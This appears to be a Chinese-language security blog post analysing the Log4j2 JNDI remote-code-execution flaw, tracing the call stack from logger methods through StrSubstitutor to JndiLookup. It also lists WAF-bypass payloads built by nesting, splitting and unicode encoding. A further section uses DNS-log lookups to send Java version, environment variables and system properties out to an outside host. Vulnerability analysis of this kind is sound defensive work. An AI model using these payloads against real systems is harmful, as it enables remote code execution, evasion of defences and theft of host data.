Log4j2 漏洞分析


环境搭建

jdk:1.8.0_66

maven环境:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="<http://maven.apache.org/POM/4.0.0>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://maven.apache.org/POM/4.0.0> <http://maven.apache.org/xsd/maven-4.0.0.xsd>">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- <https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core> -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- <https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api> -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
<!--        <dependency>-->
<!--            <groupId>commons-collections</groupId>-->
<!--            <artifactId>commons-collections</artifactId>-->
<!--            <version>3.1</version>-->
<!--        </dependency>-->

    </dependencies>

</project>

测试demo:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.fatal("${jndi:ldap://xxxxxxx:1389/jmkq1y}");
    }
}

漏洞分析

入口函数

漏洞的入口函数为logIfEnabled,使用了AbstractLogger.java中的debug、info、warn、error、fatal等方法都会触发到该函数、

    public void fatal(final String message) {
        this.logIfEnabled(FQCN, Level.FATAL, (Marker)null, (String)message, (Throwable)((Throwable)null));
    }

在logIfEnabled()方法中会使用isEnabled() 方法进行判断,返回为true才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。

返回true的关键是要咱们使用的漏洞等级Level.intLevel() 要小于或者等于设置的Level等级才会放回true。所以并非所有log方法都可以触发到该漏洞。

在本次漏洞分析过程中日志等级为Level.FATAL,它的intLevel()为100,而本环境中默认的日志级别为ERROR(200)。如下图所示,也就说默认设置下只有ERROR等级与FATAL等级能够触发到漏洞。

漏洞核心

在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。

核心处理部分在StrSubstitutor.classsubstitute 方法中

prefixMatcher.isMatch负责匹配 ${ 两个字符,suffixMatcher.isMatch 负责匹配}

把匹配到的结果jndi:ldap://192.168.0.161:1389/luvcoa 送到resolveVariable 方法中

Interpolator.lookup方法中,首先会获取字符串的前缀值:

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,

那么就会由JndiLookup类进一步处理:

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

整个调用栈如下:

lookup:55, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
fatal:1053, AbstractLogger (org.apache.logging.log4j.spi)
main:9, log4j

Waf Bypass

目前在网上主要bypasswaf的方法都是基于lookup方法的嵌套查询去分割关键字从而绕过正则表达式的匹配,以及利用java天生支持unicode编码进行的变形。

lower与upper

前面分析提到在substitute() 方法中会嵌套遍历所有的 $ 格式字符串,交给 lookup.Interpolator 处理。

然后在 Interpolator 的 lookup 中会找到 $ 格式字符串的 prefix 和 name 并对 prefix 进行全小写转换(由此得知无法通过改变大小写的方式对 prefix 进行关键字绕过)接着把 prefix 拿来和 strLookupMap 做比较,找到对应的 lookup 类,从下图我们可以看到支持的协议有很多,其中upper和lower可以帮助我们完成字符分割。

一些payload:


${${upper:j}n${lower:d}i:lda${lower:p}${lower::}/${lower:/}1${lower:2}7${lower:.}0${lower:.}0${lower:.}1${lower::}${lower:1}${lower:0}${lower:9}9/o${lower:b}${lower:j}}
${${lower:jndi}:${lower:rmi}://127.0.0.1/poc}

值得注意的是:

只有 2.13 以上的版本支持 lower 和 upper 两个 lookup 方法,使用2.0版本发现不支持该方法

分隔符:-

除了上面利用lower 和 upper 两个 lookup 方法,log4j本身还支持使用:-分隔符来进行字符的拼接,并且这个是全版本通用的!

如下图所示:

一些payload:

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://192.168.0.161:1389/rgrghg}

unicode 编码

使用unicode 编码绕过是 java 本身机制的问题。在 java 里 \ uxxxx 和解码后的字符是可以等价替换的,如 \ u006fs.name 和 os.name 实质上是一个东西:

如下图

log4j信息泄漏利用方法

主要的思路还是利用lookup的各种协助获取信息,然后使用利用dnslog外带消息,详细可参考github项目:https://github.com/jas502n/Log4j2-CVE-2021-44228

java

参考payload:

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
ID usage method
1 ${java:version} getSystemProperty(“java.version”)
2 ${java:runtime} getRuntime()
3 ${java:vm} getVirtualMachine()
4 ${java:os} getOperatingSystem()
5 ${java:hw} getHardware()
6 ${java:locale} getLocale()

log4j2-env

linux

id usage
1 ${env:CLASSPATH}
2 ${env:HOME}
3 ${env:JAVA_HOME}
4 ${env:LANG}
5 ${env:LC_TERMINAL}
6 ${env:LC_TERMINAL_VERSION}
7 ${env:LESS}
8 ${env:LOGNAME}
9 ${env:LSCOLORS}
10 ${env:LS_COLORS}
11 ${env:MAIL}
12 ${env:NLSPATH}
13 ${env:OLDPWD}
14 ${env:PAGER}
15 ${env:PATH}
16 ${env:PWD}
17 ${env:SHELL}
18 ${env:SHLVL}
19 ${env:SSH_CLIENT}
20 ${env:SSH_CONNECTION}
21 ${env:SSH_TTY}
22 ${env:TERM}
23 ${env:USER}
24 ${env:XDG_RUNTIME_DIR}
25 ${env:XDG_SESSION_ID}
26 ${env:XFILESEARCHPATH}
27 ${env:ZSH}

Windows

1 ${env:A8_HOME}
2 ${env:A8_ROOT_BIN}
3 ${env:ALLUSERSPROFILE}
4 ${env:APPDATA}
5 ${env:CATALINA_BASE}
6 ${env:CATALINA_HOME}
7 ${env:CATALINA_OPTS}
8 ${env:CATALINA_TMPDIR}
9 ${env:CLASSPATH}
10 ${env:CLIENTNAME}
11 ${env:COMPUTERNAME}
12 ${env:ComSpec}
13 ${env:CommonProgramFiles}
14 ${env:CommonProgramFiles(x86)}
15 ${env:CommonProgramW6432}
16 ${env:FP_NO_HOST_CHECK}
17 ${env:HOMEDRIVE}
18 ${env:HOMEPATH}
19 ${env:JRE_HOME}
20 ${env:Java_Home}
21 ${env:LOCALAPPDATA}
22 ${env:LOGONSERVER}
23 ${env:NUMBER_OF_PROCESSORS}
24 ${env:OS}
25 ${env:PATHEXT}
26 ${env:PROCESSOR_ARCHITECTURE}
27 ${env:PROCESSOR_IDENTIFIER}
28 ${env:PROCESSOR_LEVEL}
29 ${env:PROCESSOR_REVISION}
30 ${env:PROMPT}
31 ${env:PSModulePath}
32 ${env:PUBLIC}
33 ${env:Path}
34 ${env:ProgramData}
35 ${env:ProgramFiles}
36 ${env:ProgramFiles(x86)}
37 ${env:ProgramW6432}
38 ${env:SESSIONNAME}
39 ${env:SystemDrive}
40 ${env:SystemRoot}
41 ${env:TEMP}
42 ${env:TMP}
43 ${env:ThisExitCode}
44 ${env:USERDOMAIN}
45 ${env:USERNAME}
46 ${env:USERPROFILE}
47 ${env:WORK_PATH}
48 ${env:windir}
49 ${env:windows_tracing_flags}
50 ${env:windows_tracing_logfile}

Mac:

1 ${env:ANT_HOME}
2 ${env:COMMAND_MODE}
3 ${env:GOBIN}
4 ${env:GOPATH}
5 ${env:GOROOT}
6 ${env:GRADLE_HOME}
7 ${env:HOME}
8 ${env:HOMEBREW_BOTTLE_DOMAIN}
9 ${env:JAVA_HOME}
10 ${env:JAVA_MAIN_CLASS_3651}
11 ${env:LC_CTYPE}
12 ${env:LESS}
13 ${env:LOGNAME}
14 ${env:LSCOLORS}
15 ${env:LaunchInstanceID}
16 ${env:OLDPWD}
17 ${env:PAGER}
18 ${env:PATH}
19 ${env:PWD}
20 ${env:SECURITYSESSIONID}
21 ${env:SHELL}
22 ${env:SSH_AUTH_SOCK}
23 ${env:TIME_STYLE}
24 ${env:TMPDIR}
25 ${env:USER}
26 ${env:VERSIONER_PYTHON_VERSION}
27 ${env:XPC_FLAGS}
28 ${env:XPC_SERVICE_NAME}
29 ${env:ZSH}

log4j2-sys

1 ${sys:awt.toolkit}
2 ${sys:file.encoding}
3 ${sys:file.encoding.pkg}
4 ${sys:file.separator}
5 ${sys:java.awt.graphicsenv}
6 ${sys:java.awt.printerjob}
7 ${sys:java.class.path}
8 ${sys:java.class.version}
9 ${sys:java.endorsed.dirs}
10 ${sys:java.ext.dirs}
11 ${sys:java.home}
12 ${sys:java.io.tmpdir}
13 ${sys:java.library.path}
14 ${sys:java.runtime.name}
15 ${sys:java.runtime.version}
16 ${sys:java.specification.name}
17 ${sys:java.specification.vendor}
18 ${sys:java.specification.version}
19 ${sys:java.vendor}
20 ${sys:java.vendor.url}
21 ${sys:java.vendor.url.bug}
22 ${sys:java.version}
23 ${sys:java.vm.info}
24 ${sys:java.vm.name}
25 ${sys:java.vm.specification.name}
26 ${sys:java.vm.specification.vendor}
27 ${sys:java.vm.specification.version}
28 ${sys:java.vm.vendor}
29 ${sys:java.vm.version}
30 ${sys:line.separator}
31 ${sys:os.arch}
32 ${sys:os.name}
33 ${sys:os.version}
34 ${sys:path.separator}
35 ${sys:sun.arch.data.model}
36 ${sys:sun.boot.class.path}
37 ${sys:sun.boot.library.path}
38 ${sys:sun.cpu.endian}
39 ${sys:sun.cpu.isalist}
40 ${sys:sun.desktop}
41 ${sys:sun.io.unicode.encoding}
42 ${sys:sun.java.command}
43 ${sys:sun.java.launcher}
44 ${sys:sun.jnu.encoding}
45 ${sys:sun.management.compiler}
46 ${sys:sun.os.patch.level}
47 ${sys:sun.stderr.encoding}
48 ${sys:user.country}
49 ${sys:user.dir}
50 ${sys:user.home}
51 ${sys:user.language}
52 ${sys:user.name}
53 ${sys:user.script}
54 ${sys:user.timezone}
55 ${sys:user.variant}

参考文章

https://new.qq.com/omn/20211223/20211223A07VL800.html

https://mp.weixin.qq.com/s/i5zgVJ0c6OqQxl7sMZvUwg

https://paper.seebug.org/1787/

https://www.anquanke.com/post/id/262668


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
  目录